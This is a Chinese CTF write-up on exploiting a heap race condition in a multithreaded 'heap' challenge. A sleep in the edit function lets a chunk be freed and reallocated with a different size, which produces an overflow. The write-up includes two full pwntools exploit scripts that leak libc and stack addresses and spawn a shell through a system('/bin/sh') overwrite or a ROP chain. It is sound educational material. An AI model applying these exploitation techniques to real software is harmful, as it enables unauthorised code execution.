前言
条件竞争(Race Condition)是指在并发程序中,多个线程或进程在没有适当同步的情况下访问共享资源,导致程序的行为依赖于执行的顺序。而进程之间的执行顺序不同就可能会造成一些类似溢出写的漏洞,之前了解到的都是关于栈的条件竞争溢出,最近复现发现近几羊城杯有堆的条件竞争因此深入了解了一下 接着heap这道题讲解一下条件竞争堆的利用 题目附件放最下面了 感兴趣的师傅可以去康康
程序保护
ok啊 经典的堆题保护全开
静态分析
结构体一览
struct chunk_list
{
chunk *chunk_ptr;
};
struct chunk
{
chunk *chunk_arena_ptr;
int64_t size;
};
整体堆块结构图
功能点分析
add
这里size是通过我们传入的数据来定义的,且限制size在0x4f-0x68之间 会在分线程创建两个堆块一个是存放内存堆块的地址 一个堆块是存放传入的数据,然后把存放内存堆块的地址的地址存入主线程chunk_list中,没啥漏洞
show
通过索引分线程的堆块中存放的内存堆块地址 打出内存堆块存放的内容,这里当我们可以可以修改内存堆块的地址后是可以任意地址读的 也没明显的漏洞
free
free 两个位置 且置为0 无uaf漏洞
edit
正常的edit 但这里关键点 是有一个sleep(1u)也就是说 在这个位置该线程会停止,根据程序运行的逻辑 此时如果有其他的线程 就会先执行另外的线程 但是这个位置是我们已经取出size之后才进入的sleep,也就是说如果在edit等待的过程中 我们free掉原来的堆块 并且 创建一个新的堆块 就会导致同样的位置但是size改变了 就会造成溢出。下面是图示过程
创建一个堆块0x62
然后edit 0 这个堆块此时 会在sleep这个位置停1秒,此时size是0x62
然后我这个时候直接free掉0 再创建两个堆块
此时我们就有了堆溢出 可以覆盖下一个chunk的ptr1来控制泄露地址
利用漏洞分析
从上面我们已经有了 泄露地址的思路 现在就是如何去利用这个漏洞泄露出libc地址 我们通过调试发现
要手动设置thread_arena
我们设置分线程后发现 set thread-arena addr
这个指向内存的指针 离main_arena的地址是比较近的我们 并且时strncpy是通过\x00进行截断的,但是地址第三个字节刚刚好是\x00因此我们只要覆盖末尾两字节找到可以泄露libc的地址即可 在main_arena附近发现
和libc相差0x219c80,我们可以利用之前条件竞争的思路 去覆盖末尾两字节 从而泄露出libc
new(b'a'*0x62)
edit(0,b'a'*0x60+b'\xa0\x08')
free(0)
new(b'a'*0x58)
new(b'a'*0x58)
pause()
sleep(3)
show(1)
覆盖成功 然后就可以泄露出libc
方法一
然后观察到
这里的rdi是可以控制的 然后strtok函数和puts函数一样都是会调用一个ABS@got+一定的偏移
我们把红框的位置替代 此时如果rdi是/bin/sh就可以get shell了
new(b'a'*0x68)#2
edit(2,b'b'*0x60+p64(target_addr))
free(2)
new(b'a'*0x58)
new(b'a'*0x58)
通过同样的方法去覆盖指针 改变edit的位置 这里要注意一点就是 由于是strncpy 不足的字节会用\x00补齐 因此我们不能直接去这个地址改 要减去一个0x50 不然程序执行会出现问题
edit(3,b'b'*0x50+p64(system_addr))
sleep(1)
pause()
sl(b'/bin/sh')
方法二
我们可以通过泄露stack 来劫持程序的执行流
此时environ有\x00截断 因此不可用
我们照着这个_IO_2_1_stdout_往下面找 可以找到__libc_argv
依法炮制泄露stack
new(b'a'*0x68)#2
edit(2,b'b'*0x60+p64(target_addr))
free(2)
new(b'a'*0x58)
new(b'a'*0x58)
sleep(2)
show(3)
rl("paper content: ")
stack_addr=h64()+0x118
log_addr(stack_addr)
这个sleep(2)非常重要!! 因为没有这个 show(3)会比edit彻底完成要先完成
这里由于\x00截断的原因 要分多次 写入rop 并且一定每次写前都要sleep 不然进程会乱 影响rop布置
exp
方法一‘
#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
#context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def dbg():
gdb.attach(mx)
#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./heap"
mx = process(filename)
#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
elf = ELF(filename)
libc=elf.libc
#初始化完成---------------------------------------------------------\
def new(content):
rl("\n")
sl(b'1'+b' '+content)
def show(num):
rl("\n")
sl(b'2'+b' '+str(num).encode())
def edit(num,content):
rl("\n")
sl(b'3'+b' '+str(num).encode()+b':'+content)
def free(num):
rl("\n")
sl(b'4'+b' '+str(num).encode())
new(b'a'*0x62)
edit(0,b'a'*0x60+b'\xa0\x08')
free(0)
new(b'a'*0x58)
new(b'a'*0x58)
sleep(2)
show(1)
rl("paper content: ")
libc_addr=h64()-0x219c80
log_addr(libc_addr)
libc.address=libc_addr
target_addr=libc_addr+0x219058-0x50
system_addr =libc.sym["system"]
#------------------
new(b'a'*0x68)#2
edit(2,b'b'*0x60+p64(target_addr))
free(2)
new(b'a'*0x58)
new(b'a'*0x58)
#----------
edit(3,b'b'*0x50+p64(system_addr))
sleep(1)
pause()
sl(b'/bin/sh')
inter()
方法二
#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
#context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
def dbg():
gdb.attach(mx)
#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./heap"
mx = process(filename)
#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
elf = ELF(filename)
libc=elf.libc
#初始化完成---------------------------------------------------------\
def new(content):
rl("\n")
sl(b'1'+b' '+content)
def show(num):
rl("\n")
sl(b'2'+b' '+str(num).encode())
def edit(num,content):
rl("\n")
sl(b'3'+b' '+str(num).encode()+b':'+content)
def free(num):
rl("\n")
sl(b'4'+b' '+str(num).encode())
new(b'a'*0x62)
edit(0,b'a'*0x60+b'\xa0\x08')
free(0)
new(b'a'*0x58)
new(b'a'*0x58)
sleep(2)
show(1)
rl("paper content: ")
libc_addr=h64()-0x219c80
log_addr(libc_addr)
libc.address=libc_addr
target_addr=libc_addr+0x21aa20
system_addr =libc.sym["system"]
pop_rdi=0x000000000002a3e5+libc_addr
bin_sh = next(libc.search(b'/bin/sh\0'))
log_addr(pop_rdi)
log_addr(pop_rdi+1)
log_addr(system_addr)
log_addr(bin_sh)
#------------------
new(b'a'*0x68)#2
edit(2,b'b'*0x60+p64(target_addr))
free(2)
new(b'a'*0x58)
new(b'a'*0x58)
sleep(2)
show(3)
rl("paper content: ")
stack_addr=h64()-0x118
log_addr(stack_addr)
new(b'a'*0x68)#4
edit(4,b'b'*0x60+p64(stack_addr+8))
free(4)
new(b'a'*0x58)
new(b'a'*0x58)
sleep(2)
payload=p64(pop_rdi)
edit(5,payload)
new(b'a'*0x68)#6
edit(6,b'b'*0x60+p64(stack_addr+8*2))
free(6)
new(b'a'*0x58)
new(b'a'*0x58)
payload=p64(bin_sh)
sleep(2)
edit(7,payload)
new(b'a'*0x68)#8
edit(8,b'b'*0x60+p64(stack_addr+8*3))
free(8)
new(b'a'*0x58)
new(b'a'*0x58)
payload=p64(pop_rdi+1)
sleep(2)
edit(9,payload)
new(b'a'*0x68)#10
edit(10,b'b'*0x60+p64(stack_addr+8*4))
free(10)
new(b'a'*0x58)
new(b'a'*0x58)
payload=p64(system_addr)
sleep(2)
edit(11,payload)
dbg()
inter()
- 题目附件.zip 下载